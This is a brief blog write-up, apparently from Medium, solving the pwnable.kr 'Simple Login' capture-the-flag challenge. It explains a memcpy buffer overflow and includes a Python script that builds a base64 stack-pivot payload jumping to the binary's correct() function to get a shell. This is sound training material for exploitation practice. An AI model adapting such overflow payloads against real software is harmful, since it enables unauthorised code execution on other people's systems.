Pwnable.kr [Rookiss]: Simple Login

Download the binary and test run it:

Something interesting…Hmmm!

Open the binary in IDA or whatever.

Main() function

There is input for password. It base 64 decodes the input. check the auth function.

There is memcpy fnc.n. There is buffer overflow in memcpy function.

Get Raman’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

create exploit for it

import struct, base64

shell  = 0x08049284
_input = 0x811eb40
payload = struct.pack('<I', shell) + b"aaaa" + struct.pack('<I', _input - 4)
//yes this order is important in payload
print(base64.b64encode(payload).decode())

when memcpy run it copies the value from source to destination.
The first part of payload uses the address of correct() function which is named as shell here. then just something to fill the next four bytes of the stack and then the final part.
So basically the logic here :

payload breakdown= correct() function+ buffer to fill + the input()

Why the order is important in this payload ? when pushing the code onto the stack the last comes at the top of the stack so part 3 comes at the top of the stack. get base 64 payload and enter the paylaod in the binary and get the flag!